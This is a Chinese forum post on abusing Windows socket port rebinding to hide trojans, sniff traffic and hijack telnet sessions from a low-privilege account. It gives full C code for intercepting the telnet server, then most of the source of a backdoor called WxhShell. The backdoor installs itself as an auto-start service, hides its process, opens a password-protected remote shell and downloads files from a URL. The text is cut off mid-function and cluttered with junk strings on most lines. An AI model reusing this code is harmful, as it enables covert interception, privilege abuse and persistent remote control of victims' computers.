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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -k$rkKHZ(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R8o9$&4_  
ru'Xet  
  saddr.sin_family = AF_INET; bB)EJCPq>  
TrkoLJmB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `Ph4!-6#  
aWe H,A%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =B<g_9d4  
/wCP(1Mw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nfrC@Av  
J&8l1{gd  
  这意味着什么?意味着可以进行如下的攻击: zq{L:.#ha  
,"j |0Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .O1g'%  
8{Zgvqbb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t&0n"4$d'  
A[oi?.D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5f}63as  
N<N!it  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tV# x{DN  
;zSh9H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O;qS 3  
H1hj` '\"<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ym(r;mj!  
o5Pq>Y2T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uo 7AU3\  
wk8XD(&  
  #include T!v%NZj3  
  #include \P{VJ^) 0  
  #include 3TtnLay.k  
  #include    H~||]_q|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *]x]U >EF  
  int main() Ae`K 9  
  { $qIMYX  
  WORD wVersionRequested; gtCd#t'(V  
  DWORD ret; q7m-} mBN~  
  WSADATA wsaData; !y4o^Su[  
  BOOL val; "'6KQnpZ  
  SOCKADDR_IN saddr; O$#`he/jm  
  SOCKADDR_IN scaddr; lD !^MqK  
  int err; ~5cLI;4h  
  SOCKET s; E8FS jLZ  
  SOCKET sc; ZZl)p\r  
  int caddsize; _4.`$n/Z  
  HANDLE mt; -f Zm_FE  
  DWORD tid;   s)ZL`S?</  
  wVersionRequested = MAKEWORD( 2, 2 ); mjB%"w!S  
  err = WSAStartup( wVersionRequested, &wsaData ); G.T}^ xHmL  
  if ( err != 0 ) { 0%'&s)#  
  printf("error!WSAStartup failed!\n"); ^(UL$cQ>  
  return -1; nW{7L  
  } -] J V  
  saddr.sin_family = AF_INET; p1G!-\l  
   Mg^GN -l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q !S"=2  
V/762&2X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \'E%ue_<9  
  saddr.sin_port = htons(23); &*MwKr<y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a#j0N5<Nl  
  { #p=/P{*  
  printf("error!socket failed!\n"); %Vive2j C  
  return -1; lm]4zs /A  
  } MK~viSgi  
  val = TRUE; s:;!QIC5jo  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ds0^/bYp&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  b.C!4^  
  { ;uDH&3W  
  printf("error!setsockopt failed!\n"); }v@w(*)h:  
  return -1; 1_GUi  
  } MlS<txFPS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (y#8z6\dx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Wl::tgU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P) GBuW  
\t^q@}~0Wz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k\x>kJ}0  
  { kQ{pFFO  
  ret=GetLastError(); /lAt&0  
  printf("error!bind failed!\n"); r+ v*(Tu  
  return -1; .xCO_7Rd  
  } ] hL 1qS  
  listen(s,2); "'II~/9  
  while(1) KQQR"[z&V  
  { 1 ljgq]($  
  caddsize = sizeof(scaddr); vpOzF>O  
  //接受连接请求 [<f\+g2ct  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A*MlK"  
  if(sc!=INVALID_SOCKET) H.wp{m{  
  { 2x3&o|J  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p# O%<S@?  
  if(mt==NULL) H4^-MSw  
  { M<g>z6   
  printf("Thread Creat Failed!\n"); LuR.;TiW  
  break; >9Ub=tZm  
  } .T4"+FTzP  
  } Xm\tyLY  
  CloseHandle(mt); 7(Y!w8q&^  
  } %2bZeZ  
  closesocket(s); J/R=O>  
  WSACleanup(); ?sp  
  return 0; S-'iOJ 1]  
  }   0(:"q!h  
  DWORD WINAPI ClientThread(LPVOID lpParam) />K$_T/]  
  { :4&qASn  
  SOCKET ss = (SOCKET)lpParam; f}  eZX  
  SOCKET sc; Lgvmk  
  unsigned char buf[4096]; 8Ay#6o  
  SOCKADDR_IN saddr; ZZzf+F)T  
  long num; _%z)Y=Q  
  DWORD val; wgzjuTqwBF  
  DWORD ret; jD$T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ryN/sjQC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v[35C]gS  
  saddr.sin_family = AF_INET; u|O5ZV-cd  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2+ >.Z.pX  
  saddr.sin_port = htons(23); Yz\z Qj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jJ|u!a  
  { 3DMfR ofg  
  printf("error!socket failed!\n"); VX2bC(E'%  
  return -1; vr=iG xD  
  } 7GWPsaPn  
  val = 100; IkL|bV3E0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 552c4h/T  
  { EJb"/oLla  
  ret = GetLastError(); "A,]y E  
  return -1; tlI3jrgw  
  } G5bi,^G7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |W`1#sP>  
  { C&Ow*~  
  ret = GetLastError(); [1 w  
  return -1; YeYFPi#  
  } h*h+VM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) byyz\>yAVq  
  { FyQ  
  printf("error!socket connect failed!\n"); IEjKI"  
  closesocket(sc); n=L;(jp<j  
  closesocket(ss); +cQ4u4  
  return -1; u5$\E]+ _  
  } q8P| ]  
  while(1) =n i&*&  
  { >umcpkp- h  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 V ,*YM   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DJ[U^dWRn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }bAd@a9>3  
  num = recv(ss,buf,4096,0); vC&y:XMt,`  
  if(num>0) nPR_:_^  
  send(sc,buf,num,0); <P(d%XEl  
  else if(num==0) QYyF6ht=!  
  break; 6wIv7@Y  
  num = recv(sc,buf,4096,0); kHm1aE<  
  if(num>0) dkLc"$( O  
  send(ss,buf,num,0); 9 )e`mO*n  
  else if(num==0) \,ir]e,1  
  break; Y>wpla[kUq  
  } o5i?|HJ  
  closesocket(ss); r-H~MisL  
  closesocket(sc); E6y/,s^~S_  
  return 0 ; gB71~A{J  
  } Y}(v[QGV  
6V*@ {  
`-qSvjX  
========================================================== 8!4=j  
v^HDR 3I  
下边附上一个代码,,WXhSHELL ?K|PM <A  
K>w}(td  
========================================================== it D%sKo  
`i,ZwnLh{  
#include "stdafx.h" KFCuv15w,3  
 ORp6  
#include <stdio.h> f|w+}z  
#include <string.h> .A&Ey5  
#include <windows.h> +2|X 7wA  
#include <winsock2.h> y%v<Cp@R  
#include <winsvc.h> NnGQ=$e  
#include <urlmon.h> yL_-w/a  
 &5O  
#pragma comment (lib, "Ws2_32.lib") hy3[MOD$G  
#pragma comment (lib, "urlmon.lib") Lk4&&5q  
rcOpOoU|  
#define MAX_USER   100 // 最大客户端连接数 eP(%+[g  
#define BUF_SOCK   200 // sock buffer 'g|%Ro/  
#define KEY_BUFF   255 // 输入 buffer 2:&8FdU  
i8Yl1nF  
#define REBOOT     0   // 重启 7==Uz?}C  
#define SHUTDOWN   1   // 关机 N@58R9P<p  
`IFt;Ja\6  
#define DEF_PORT   5000 // 监听端口 v}+axu/?  
#fzvK+  
#define REG_LEN     16   // 注册表键长度 rRYP~ $c  
#define SVC_LEN     80   // NT服务名长度 ` {k>I^Pg  
G0^23j  
// 从dll定义API "z=A=~~<{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [o*u!2 r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V7[Dvg:W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >O9j},X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *<Fz1~%*  
B[S.6 "/H  
// wxhshell配置信息 7iLm_#M  
struct WSCFG { o-lb/=K+  
  int ws_port;         // 监听端口 }Xrs"u,  
  char ws_passstr[REG_LEN]; // 口令 OMvwmm  
  int ws_autoins;       // 安装标记, 1=yes 0=no os/~6  
  char ws_regname[REG_LEN]; // 注册表键名 P@PZm  
  char ws_svcname[REG_LEN]; // 服务名 * jT r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #CW]70H`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eW1$;.^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {5#P1jlT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dY;^JPT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `[jQn;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dV<M$+;s]  
InH R> ,  
}; \&&kUpI  
23_<u]V  
// default Wxhshell configuration x98LOO  
struct WSCFG wscfg={DEF_PORT, e,Gv~ae9  
    "xuhuanlingzhe", G"5Nj3v d  
    1, w> IkC+.?  
    "Wxhshell", Q2Yv8q_}Uq  
    "Wxhshell", &A*oQ3  
            "WxhShell Service", -=Q_E^'  
    "Wrsky Windows CmdShell Service", S/G,A,"c  
    "Please Input Your Password: ", ed'}ReLK  
  1, ?" {+m  
  "http://www.wrsky.com/wxhshell.exe", ga4 gH>4  
  "Wxhshell.exe" 83412@&  
    }; Mpk^e_9`<  
wf=#w}f  
// 消息定义模块 6mep|![6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bhOyx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5y(irbk7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YRG+I GX  
char *msg_ws_ext="\n\rExit."; L`R,4mI.W  
char *msg_ws_end="\n\rQuit."; CbQ@l@d]  
char *msg_ws_boot="\n\rReboot..."; xv$^%(Ujp  
char *msg_ws_poff="\n\rShutdown..."; >QE^KtZ  
char *msg_ws_down="\n\rSave to "; 95T%n{rz  
^n@iCr9  
char *msg_ws_err="\n\rErr!"; YQ,IdWav  
char *msg_ws_ok="\n\rOK!"; r[TS#hQ  
/I7sa* i  
char ExeFile[MAX_PATH]; T9t9])  
int nUser = 0; q[M7)-  
HANDLE handles[MAX_USER]; d#ya"e>  
int OsIsNt; 0Y)b319B  
F}H!vh[  
SERVICE_STATUS       serviceStatus; ~H@':Mms.h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y z9`1R2c  
KfG%#2\G_  
// 函数声明 I%e7:cs>  
int Install(void); JV36@DVQ  
int Uninstall(void); c5;YKON  
int DownloadFile(char *sURL, SOCKET wsh); }h +a8@  
int Boot(int flag); i_`YZ7Hxp  
void HideProc(void); :54|Z5h|  
int GetOsVer(void); Wq<>a;m  
int Wxhshell(SOCKET wsl); 3a!/EP  
void TalkWithClient(void *cs); rHT8a^MO  
int CmdShell(SOCKET sock); 66p_d'U  
int StartFromService(void); D'fP2?3FK  
int StartWxhshell(LPSTR lpCmdLine); o4w+)hh  
-fL|e/   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Yo| H`m,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mH;Z_ME"  
iBp 71x65  
// 数据结构和表定义 P^rSpS9  
SERVICE_TABLE_ENTRY DispatchTable[] = >z>UtT:  
{ Mky$#SI11  
{wscfg.ws_svcname, NTServiceMain}, L9Fx Lw41  
{NULL, NULL} "'t<R}t!A  
}; p\+#`] Q7}  
n  'P:  
// 自我安装 &0(2Z^Z>fw  
int Install(void) f910drg7  
{ %bDd  
  char svExeFile[MAX_PATH]; "sT`Dhr  
  HKEY key;  KS*W<_I  
  strcpy(svExeFile,ExeFile); *n}9_V%  
*XniF~M  
// 如果是win9x系统,修改注册表设为自启动 nz+o8L,  
if(!OsIsNt) { 1yX&iO^d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;4 ?%k )  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D.*JG7;=Z  
  RegCloseKey(key); P%ZWm=lg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VZAdc*X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gk[P-%%b /  
  RegCloseKey(key); M8KfC!  
  return 0; / sH*if  
    } Sw5H+!  
  } 3qpk Mu3  
} _JR4 PKtx  
else { hZ2PP ^  
=_^g]?5i  
// 如果是NT以上系统,安装为系统服务 ik8e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `d OjCA_&  
if (schSCManager!=0) hp,T(D|  
{ g:[&]o} :9  
  SC_HANDLE schService = CreateService 2mU}"gf[  
  ( 7DOAG[gH  
  schSCManager, ]"/ *7NM  
  wscfg.ws_svcname, ,l0s(Cg  
  wscfg.ws_svcdisp, 9sYX(Fl  
  SERVICE_ALL_ACCESS, ngm7Vs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B2845~\.  
  SERVICE_AUTO_START, |I OTW=>  
  SERVICE_ERROR_NORMAL, Rx`0VQ  
  svExeFile, QO#ZQ~  
  NULL, rBr28_i   
  NULL, Y Nq<%i!>  
  NULL, &v 5yo}s  
  NULL, y:2o-SJn  
  NULL q8kt_&Ij  
  ); !Id F6 %  
  if (schService!=0) cq[}>5*k  
  { zEO 9TuBO  
  CloseServiceHandle(schService); Ho \+xX  
  CloseServiceHandle(schSCManager); =602%ef\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KJ9~"v  
  strcat(svExeFile,wscfg.ws_svcname);  K[?wP>s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?[m5|ty#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Llk`  
  RegCloseKey(key); HnY: gu  
  return 0; xFpJ#S&  
    } {<kl)}  
  } .-WCB  
  CloseServiceHandle(schSCManager); 8V}c(2m  
} C{2 UPG4x  
} ^' [|  
Q7}w Y  
return 1; 6PPvf D^  
} )3G?5 OTS  
A@DIq/^xM  
// 自我卸载 u"|.]r  
int Uninstall(void) koqH~>ZtD  
{ E&[ox[g{  
  HKEY key; ||!k 3t#<  
^8MgNVoJ)  
if(!OsIsNt) { X;6X K$"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _')KDy7  
  RegDeleteValue(key,wscfg.ws_regname); 97Q!Rot  
  RegCloseKey(key); 4e%SF|(Y'h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %"KBX~3+Kj  
  RegDeleteValue(key,wscfg.ws_regname); ~+T~}S  
  RegCloseKey(key); \lY26'  
  return 0; w6wXe_N+M  
  } [6/ %ynlP  
} ;$%+TN  
} 7 'f>  
else { D2?7=5DgS  
fqF1 - %  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y: byb68  
if (schSCManager!=0) eA+6-'qN  
{ LXK+WB/s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sk1yend4  
  if (schService!=0) V'6%G:?0a  
  { G7),!Qol  
  if(DeleteService(schService)!=0) { 5k\61(*s  
  CloseServiceHandle(schService); 3b[_0  
  CloseServiceHandle(schSCManager); (JF\%Yj/  
  return 0; 7vHU49DV  
  } 54'z"S:W  
  CloseServiceHandle(schService); 3gGF?0o  
  } FD`V39##  
  CloseServiceHandle(schSCManager); IzL yn  
} TnKe"TA|9  
} Zd5fr c$  
|H |ewVUY  
return 1; sXfx[)T<  
} k*n5+[U^tP  
=XWi+')  
// 从指定url下载文件 YHAy+S  
int DownloadFile(char *sURL, SOCKET wsh) `GSfA0?  
{ \y0abxIHS  
  HRESULT hr; BGA.8qWR4  
char seps[]= "/"; )P,jpE8  
char *token; )D#*Q~   
char *file; YL{LdM-xM  
char myURL[MAX_PATH]; :|fzGf  
char myFILE[MAX_PATH]; QzV:^!0J  
QiZThAe  
strcpy(myURL,sURL); 7pGlbdS  
  token=strtok(myURL,seps); 0&w.QoZY(  
  while(token!=NULL) :ox+WY  
  { aIm\tPbb  
    file=token; 2?m'Dy'JE  
  token=strtok(NULL,seps); ND I|;   
  } ,ur_n7+LH  
1YS{; y[o  
GetCurrentDirectory(MAX_PATH,myFILE); !J+5l&  
strcat(myFILE, "\\"); _$F I>  
strcat(myFILE, file); q'1rSK  
  send(wsh,myFILE,strlen(myFILE),0); ,I)/ V>u  
send(wsh,"...",3,0); ?p}m[9@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mT)iN`$Y@  
  if(hr==S_OK) C$?dkmIt  
return 0; /gPn2e;  
else 3 D+dM0wM  
return 1; >S!QvyM(V  
^Ji5)c  
} ,c7 8O8|  
rt."P20T  
// 系统电源模块 Z!ub`coV[  
int Boot(int flag) 0h#' 3z<  
{ Gh@QR`xxc  
  HANDLE hToken; c"fnTJXr79  
  TOKEN_PRIVILEGES tkp; M#2DI?S@  
_STN^   
  if(OsIsNt) { P/0n) Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j4Lf6aUOX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y=q\1~]Z  
    tkp.PrivilegeCount = 1; )TV'eq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QDyL0l{C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nC2A&n&>  
if(flag==REBOOT) { :}j{NM#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J;G+6C$:  
  return 0; zf6k%  
} :,:r  
else { RELLQpz3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CxwZ$0  
  return 0; + e4o~ p  
} S^~GI$  
  } >D*L0snjV  
  else { +]Ydf^rF  
if(flag==REBOOT) { NbfV6$jo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H{9di\xnEm  
  return 0; ^TnBtIU-B  
} p"Fj6T2  
else { LL.YkYu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q(_pk&/  
  return 0; 4WDh8U  
} nV GrW#'E  
} /1g_Uv;  
,LU/xI0O  
return 1; RXLD5$s^  
} CYs:P8^  
MSsboSxA  
// win9x进程隐藏模块 %5a>@K]  
void HideProc(void) Ean@GDLz8  
{ %?R}sUo  
>8HcCG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); - x@mS2  
  if ( hKernel != NULL ) kcI3pmgj  
  { Oe*emUX7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jsc1B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BPe5c :z  
    FreeLibrary(hKernel); h_Q9 c  
  } hQPiGIs  
XkOsnI8n  
return; d\D.l^  
} _KC()OIeC  
B&`#`]  
// 获取操作系统版本 dz&8$(f,  
int GetOsVer(void) i5q VQo  
{ wjQu3 ,Cj  
  OSVERSIONINFO winfo; hH|3s-o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $_% a=0  
  GetVersionEx(&winfo); ,;hI yT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6:#zlKYJ  
  return 1; mKQ !@$*  
  else ytK h[Uo  
  return 0; 4tof[n3us  
} z45ImItH  
q:+,'&<D  
// 客户端句柄模块 $62!R]C9\  
int Wxhshell(SOCKET wsl) O}"VK  
{ pQ!NhzQ  
  SOCKET wsh; [n44;  
  struct sockaddr_in client; xP "7B9B  
  DWORD myID; >@rsh-Z  
c54oQ1Q&"  
  while(nUser<MAX_USER) 5iwJdm  
{ L "P$LEk  
  int nSize=sizeof(client); SBg BZm}%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3g`uLA X>u  
  if(wsh==INVALID_SOCKET) return 1; :q<8:,rP  
00[Uk'Q*5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n0:'h}^  
if(handles[nUser]==0) a2SMNC]  
  closesocket(wsh); xJ:15eDC  
else >A;Mf*E  
  nUser++; CMI%jyiX  
  } JJPU!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~q5"'  
c-(,%0G0  
  return 0; pPuE-EDk  
} cLEBcTx  
Oca_1dlx  
// 关闭 socket /ZUKt  
void CloseIt(SOCKET wsh) 9,sj,A1  
{ "k o?AUt  
closesocket(wsh); 4siNY4i"  
nUser--; gu7mGHn-  
ExitThread(0);  pQKR  
} #HfvY}[o  
z:{'IY  
// 客户端请求句柄 ?| s1Cuc  
void TalkWithClient(void *cs) [I^>ji0V  
{ I6,'o)l{_  
l\I#^N  
  SOCKET wsh=(SOCKET)cs; `lX |yy"  
  char pwd[SVC_LEN]; /GD4GWv :  
  char cmd[KEY_BUFF]; yZj:Kp+7  
char chr[1]; =* oFs|v  
int i,j; zxTcjC)y  
wt0^R<28  
  while (nUser < MAX_USER) { B"ZW.jMaI  
GsA/pXx  
if(wscfg.ws_passstr) { e)]9u$x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k7z;^:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *NHBwXg+  
  //ZeroMemory(pwd,KEY_BUFF); ;P3sDN  
      i=0; jCa%(2~iQ7  
  while(i<SVC_LEN) { rXPq'k'h#-  
w7 @fiH{  
  // 设置超时 3(0k!o0 "  
  fd_set FdRead; .'k]]2%ILp  
  struct timeval TimeOut; `xMmo8u4  
  FD_ZERO(&FdRead); ) jv]Oz  
  FD_SET(wsh,&FdRead); TPH`{  
  TimeOut.tv_sec=8; ViIt 'WX  
  TimeOut.tv_usec=0; $hZb<Xz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rJ|Q%utYz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DN3#W w2[r  
BQu_)@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kclClB:PS  
  pwd=chr[0]; W ZdEfY{  
  if(chr[0]==0xd || chr[0]==0xa) { %5Hsd  
  pwd=0; \ 'G%%%;4  
  break; N3nFE:`u]  
  } mrX 2w  
  i++; Cgq/#2BM  
    } 1D%3|_id^  
1BO$xq  
  // 如果是非法用户,关闭 socket M0zJGIT~b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ofH=h  
} ^m8T$^z>  
Dvbrpn!sk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q1}HsTnBH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g`I`q3EF)  
6 2GP1qH9  
while(1) { ?a?i8rnWo  
J/X{ Y2f  
  ZeroMemory(cmd,KEY_BUFF); bL soKe  
onL&lE  
      // 自动支持客户端 telnet标准   AlT41v~6  
  j=0; 3C'`K ,  
  while(j<KEY_BUFF) { A(zF[\{]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;43Ye ^=  
  cmd[j]=chr[0]; c@;$6WSG^  
  if(chr[0]==0xa || chr[0]==0xd) { ilJeI@  
  cmd[j]=0; = }0M^F  
  break; itClCEOA  
  } ~'>RK  
  j++; E^B*:w3  
    } H<T9$7Yr%r  
{C3AxK0  
  // 下载文件 q/w<>u  
  if(strstr(cmd,"http://")) { Ja<pvb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )NAC9:8!  
  if(DownloadFile(cmd,wsh)) GG%X1c8K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {uH 4j4)2  
  else `2`Nu:r^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m}/LMY  
  } B w?Kb@  
  else { x}o]R  
l}odW  
    switch(cmd[0]) {  t9T3e  
  jm9J-%?  
  // 帮助 ] AkHNgW  
  case '?': { ]4~- z3=y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W _j`'WN/  
    break; Z)}q=NjA  
  } 7oaa)  
  // 安装 !_0kn6 S5  
  case 'i': { LoZ8;VU  
    if(Install()) mw0#Dhyy1=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jusP aAdW  
    else h<;kj#qbb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nn>< k"  
    break; R-nC+)^  
    } uMOm<kn  
  // 卸载 %SORs(4  
  case 'r': { 7 +A-S9P)  
    if(Uninstall()) )P4#P2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vfew )]I  
    else @gzm4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3l5rUjRwj  
    break; #;cDPBv*wS  
    } KQ'fp:5|/@  
  // 显示 wxhshell 所在路径 5"(AqXoq  
  case 'p': { t95hI DtD  
    char svExeFile[MAX_PATH]; clfi)-^ {K  
    strcpy(svExeFile,"\n\r"); F jdh&9Zc  
      strcat(svExeFile,ExeFile); $__e7  
        send(wsh,svExeFile,strlen(svExeFile),0); qZRx,^gd  
    break; Q|eRek  
    } $tvGS6p>  
  // 重启 q@ !p  
  case 'b': { VesW7m*z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s)Sa KE*d  
    if(Boot(REBOOT)) +SCUS]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <<F#Al  
    else { H{|a+  
    closesocket(wsh); ;-84cpfu  
    ExitThread(0); N,v4SIC@  
    } *;A I0  
    break; Q]X0 O10  
    } 48,Aq*JFw  
  // 关机 SPKen}g  
  case 'd': { ?m-kpW8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y68`B"3  
    if(Boot(SHUTDOWN)) 9HMW!DSK`  
